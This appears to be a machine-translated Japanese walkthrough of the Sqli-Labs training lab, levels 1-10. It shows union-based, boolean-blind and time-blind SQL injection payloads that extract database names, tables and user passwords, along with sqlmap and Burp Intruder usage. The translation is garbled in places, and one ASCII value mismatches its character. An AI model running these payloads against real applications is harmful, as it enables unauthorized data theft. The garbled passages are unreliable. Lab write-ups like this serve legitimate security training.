Sqli-Labs(1-10)
少ない-1(最初の4つの関連する注射)
「1」の入力時にエラーが発生し、「元の文を閉じて」「もう1つ追加」していることがわかりました。
入る1 'および' 1 '=' 1 '-+正常にエコーしました。
次に、フィールドの数を決定します。注文する ステートメント。
4エラーで注文します。
3による順序が正常にエコーされます。
説明フィールドの数は3です。
ジョイントインジェクションを使用し、ユニオンセレクト1、2、3を使用してエコー位置を決定します。
位置2と3にエコーがあることがわかります。
位置2、3から現在のデータベース名を表示します。セキュリティ
ステートメント:-1 'ユニオンセレクト1,2、database()-+
判定表名:
文:-1'union select 1,2、group_concat(table_name)from information_schema.tables where table_schema = 'security'-+
フィールド名を検索します:
ステートメント:-1'union select 1,2、group_concat(column_name)from information_schema.columns where table_name = 'users'-+
データの取得:
ステートメント:-1'union select 1、group_concat(username)、group_concat(password)from users- +
少ない-2
デジタルタイプの第2レベル:
文の使用1および1 = 1- + 結果を取得します。残りの方法は、説明ではなく、最初のレベルと同様です。
少ない-3
第3レベルを使用する ') 繰り返さないで、閉じてください。
少ない-4
第4レベルを使用する ") それを閉じるために、私はそれを繰り返さないでしょう。
少ない-5(5-7ブールブラインド)
使用する 1 'および' 1 '=' 1 '-+SQLステートメントが一重引用符で閉じられているというフィードバックがあります。
ブールブラインドの場合、手順は次のとおりです。
1.データベースの長さを決定します。
2.データベース名を決定します。
3.判定テーブルの数。
4.各テーブルの長さを決定します。
5.各テーブルの名前を決定します。
6.列の数を決定します。
7.列の長さを決定します。
8.列の名前を決定します
9.フィールドの数、フィールド名、およびデータを判別します。
1.データベースの長さを決定します。
使用する 長さ() 関数。
ステートメント:
1 'およびlength(database())= 8- +データベースの長さが8であることを示すエコーがあります
。2。データベース名
を決定します。ascii() と substr()関数。
ステートメント:
1 'およびascii(substr(database()、1,1))= 115- +データベースの最初の文字のASCIIコード値は115であり、対応する文字はsであることを説明します。以下同様に、他の7文字を取得し、最後にセキュリティとしてデータベース名を取得します。
3.判定テーブルの数:
使用カウント()関数。
ステートメント:1 'および(select count(table_name)from information_schema.tables where table_schema =' security ')= 4- +テーブルの数が4であるというフィードバックがあります。
4.各テーブルの長さを決定します。
使用する制限関数。
ステートメント:1 'およびlength((select table_name from information_schema.tables where table_schema =' security'limit 0,1))= 6- +最初のテーブルの長さが6であるというフィードバックがあります。
類推により、他の3つのテーブルの長さが得られます。
5.各テーブルの名前を決定します。
ステートメント:1 'およびascii(substr((select table_name from information_schema.tables where table_schema =' security 'limit 3,1)、1))= 117- +、4番目の表の最初の文字のASCIIコード値が117であり、対応する文字がuであることを示しています。
類推すると、テーブル名はユーザーです。
フィールド(列)の判断方法はテーブルと似ているので、繰り返しません。
SQLMAPを使用して、ここでデータを取得します。
すべての機能とツールの使用については、情報を参照してください。これらを繰り返すことはありません。
- 現在のデータベース名を表示します。-Dbs
は、他の特別なメソッドをスキップするかどうかを尋ねます。yを選択します。
多くの情報を取得しました
。2。-Dパラメータを使用してデータベースを指定します。--tablesを使用してテーブル名を取得します。
テーブル名を取得します
。3。-Tを使用してテーブル名を指定します--columnsを使用してフィールド名を取得します:
4。-Cを使用してフィールド名を指定します--dumpを使用してデータを取得します:
ブールブラインドインジェクションであることが知られているため、パラメーターを追加してブールブラインドインジェクションの使用を指定できます
。特定のパラメーターは--techniqueBです。
少ない-6
第6レベルを使用する 「」 閉じるには、burpsuiteブルートフォースを使用して対応するデータを取得します。
1.データベース名から直接開始
します。ASCIIコードを使用するか、ブルートフォースクラッキング用の文字を直接選択するかを選択できます。
ここでは、文字を直接ブルートフォースします。
ステートメント: 1 "およびsubstr(database()、1,1)= 'a'-+
侵入者モジュールでクラスター爆弾を使用します。
パラメータの追加:
ペイロードの設定:
最初のパラメータ:
2番目のパラメータ:
ブラストの開始:
結果を取得します。データベース名はセキュリティです。
ブルートフォースクラッキングテーブル(列)の数、長さ、名前は、主にパラメータの選択とペイロードの設定に関連しているため、繰り返しません。
少ない-7
第7レベルを使用する ')) 繰り返さないで、閉じてください。
少ない-8
私はカラーペンです。5番目のレベル0.0との違いはわかりません。
少ない-9(9-10タイムブラインド)
ブールブラインドベッティングとは異なり、フィードバックによって注入が成功したかどうかを判断することは不可能です。
id = 1:
id = -1:
使用睡眠() 機能と もし判定。
もちろん、ブールブラインドはタイムブラインドを使用してデータを取得することもできます。
手順はブールブラインドの場合と同じです。
1.データベースの長さを決定します。
ステートメント:1 'およびif(length(database())= 8、sleep(5)、1)-+
ページの読み込みに遅延があり、データベースの長さが8であることを示しています。
2.データベース名
ステートメントを決定します。1 'およびif(ascii(substr(database()、1,1)= 117)、sleep(5)、1)-+
データベースの名前を取得するために、最初の文字のASCIIコードが117であり、対応する文字がsであることを示す遅延があります。
残りの手順は、追加するだけである場合の判断ブールブラインド注入文に基づいて、シーケンスで説明されることはありません。
タイムブラインドとして知られている、SQLMAPを実行して実行します^ _ ^…
現在のデータベースを
チェックしました:現在のユーザーをチェックします:
Didi:
リストされなくなったテーブル、フィールド、およびデータを検索します。
少ない-10
第10レベルの使用 「」 繰り返さないで、閉じてください。